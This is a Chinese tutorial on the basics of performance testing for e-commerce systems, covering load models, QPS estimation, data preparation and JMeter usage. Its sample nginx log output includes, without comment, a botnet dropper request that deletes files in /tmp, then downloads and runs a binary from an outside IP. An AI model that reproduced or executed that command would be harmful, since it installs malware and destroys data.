软件测试测试开发电商业务的性能测试（一）必备基础知识

　　公众号搜索：TestingStudio 霍格沃兹测试开发的干货都很硬核1. 测试步骤及模型分析1.1 测试步骤总览需求分析与测试设计（性能需求目标+业务模型拆解）测试数据准备和构造(基于模型的数据准备)性能指标预期(性能需求目标)发压工具配置及脚本编写（压力策略）测试过程（预计的前置准备过程和压测时间点规划）结果分析与测试报告1.2 测试模型分析
　　如下的测试模型来简单的说明测试中需要关注的点和测试的目的
　　字段说明
　　1、横轴 : 代表并发数，也就对应着Jmeter里面的线程数
　　2、Utizilation(U) :资源利用率
　　3、Throughput(X): 吞吐量，对应QPS或TPS
　　4、ResponseTime ：响应时间
　　拐点分析：
　　第一条虚线处的拐点代表着随着并发数的增加，资源利用率(CPU资源等)和吞吐量也在伴随着递增， 这个时候我们的响应时间有小幅度的增加，但是在可接受的范围之内；在这个点是做容量规划最好的参考点
　　第二条虚线处的拐点表示随着并发数的继续增加，系统资源已经到达了瓶颈，吞吐量开始明显下降，响应时间会大幅增加，也就是说已经到达了性能的瓶颈，请求队列开始挤压，这个时候已经严重影响用户体验或者有系统崩溃的风险。2. 步骤分析2.1 需求分析与测试设计
　　此处从性能需求目标与业务模型拆解两方面着手，
　　1、目标场景分类：新上线系统性能测试：要求容量测试，系统最大容量系统升级类性能测试：和基线版本对比，性能不下降新系统性能优化测试：伴随调优目标的性能测试
　　注：在后面的演示中，会以新系统上线的容量测试为例，目标为获取系统最大容量
　　字段说明：
　　基准测试：见下图，我的理解就是性能测试，找到最优的QPS(TPS)点
　　容量测试：见下图，我的理解为压力测试，在达到性能瓶颈后继续加压，测试系统的最大承载量
　　新系统想要确定测试基准，就需要拿到数据，而产品一般是不会直接告诉我们QPS的，产品会告诉我们 PV/UV 天。
　　根据 PV、UV 再结合业务场景来计算确认我们的测试需求；将其转化为小时或分钟，或秒；另外业务场景可能会几种在某个时间段，比如工作日的8个小时时间：
　　UV：或者外卖产品则集中在午饭和晚饭的2个小时时间段，假如UV为1000w/天，那么高峰时段占了总用户数的80%：
　　1000w * 80% / (4*3600) = 每秒的并发用户数
　　PV：PV可以直接对应到QPS指标，好比一个电商产品，产品分别给出了首页、商品页、订单页的PV，便可依此来进行性能测试的基准设计。如果粗略的按24小时算QPS的话就是QPS = PV(天)/24/3600
　　2、根据具体的性能测试需求，确定测试类型以及压测的模块(web/mysql/redis/系统整体)
　　3、前期要与相关人员充分沟通，初步确定压测方案及具体性能指标
　　4、QA完成性能测试设计后，需产出测试方案文档发送邮件到项目组，并且再次与相关人员沟通(或者组织性能测试评审)，确认是否满足需求
　　2.2、测试数据准备和构造
　　数据的准备可以如下几点：
　　1、接口请求参数：自己构造、日志获取、上下关联自己构造：自己抓包等，这个有个问题就是后端可能有缓存而造成对实际压力程度的影响日志获取：推荐常用，通过日志或数据库获取大批量的数据然后打散
　　例如，我们的请求是通过Nginx转发的，那么可以通过Nginx的日志来获取请求数据,现有如下的log：
　　现在我们可以利用Linux三剑客中的awk命令配合上排序的shell命令对log进行提取过滤,找出访问量最高的请求：$ cat access.log | awk ＂{print $7}＂ | sort | uniq -c | sort -nr | head -15 4709 /sso/register 4703 /sso/login 157 400 139 /   8 http://www.baidu.com/cache/global/img/gs.gif   5 /index.php   4 mstshash=Administr＂   4 /license.txt   4 ip.ws.126.net:443   4 ＂   2 /sso/getAuthCode?telephone=17138134641   2 /sso/getAuthCode?telephone=17127460936   2 /shell?cd+/tmp;+rm+-rf+*;+wget+http://45.148.10.194/arm7;+chmod+777+arm7;+./arm7+rep.arm7   2 /robots.txt   2 /phpmyadmin/ 复制代码上下关联：
　　有些数据我们是无法提前获取的，好比用户的订单数据和购物车数据，这些需要用户下单后生成，因此就需要在下单接口后通过上下关联的接口返回值来获取
　　2、数据表的数据填充：可以利用jmeter的高并发通过接口来提前创建数据
　　3、如果是多接口，则需要结合业务场景设计请求比例：比如用户浏览主页的PV和浏览商户的比例为1：2，那么接口的比例设计也就按照1：2来设计。2.3、性能指标预期1.每秒请求数（QPS）2.请求响应时间（最大，最小，平均值）3.错误率4.机器性能：cpu idel30%,memory无剧烈抖动或飙升5.压测过程接口功能是否正常6.不同性能测试方式下指标预期是否有差异2.4、发压工具配置及脚本编写
　　1.发压工具准备-jmeter简介
　　(1) 集成包，解压即可使用，Windowns, Linux, Mac通用（依赖Java环境）
　　(2) jmx文件为xml文件，Win，Linux环境均可运行
　　(3) 多线程并发
　　(4) 运行完脚本会生成jtl日志，可在Win、Mac环境界面中查看、统计
　　使用jmeter可以做到：压测场景：单接口/复杂事物——>场景构造压力需求：<1000QPS 或者万级以上的使用Jmeter分布式支持的方式是否周期性：Jmeter jmx场景文件，数据驱动，结果落库二次开发需求：Jmeter开源插件化思想，支持Thrift协议支持：Dubbo等多种协议，可以快速平台化问题支持：开放社区，广泛使用2.脚本编写
　　(1) HTTP
　　(2) 其他
　　3.命令启动，Jmeter 本身也是软件，也有自己的承载限制，所以真正测试过程还是要以命令行运行的方式，UI 可以作为编写和调试脚本使用
　　启压：./jmeter -n -t hb.jmx-l hb.jtl2.5 测试过程1、测试前环境检查：记录机器参数2、起压：根据被压情况，调节并发量到合适情况3、查看记录各项性能指标nginx日志查看每秒请求数 查看nginx错误请求 查看机器参数：cpu idel、mem等 查看db、cache等数据是否写入正常 访问接口，查看功能是否正常2.6 结果分析与测试报告
　　1、根据测试过程中记录的各项参数，结合压测工具产生的日志，对测试结果进行分析，并产出测试报告
　　2、测试完成后，及时与相关人员沟通，确认是都满足需求
　　3、发送测试报告邮件
　　以上只是做了个性能测试的基础知识铺垫，后续在此理论基础上，以电商业务为背景，结合 Docker+Jmeter+Influx+Grafana 完成一个实例压测与监控~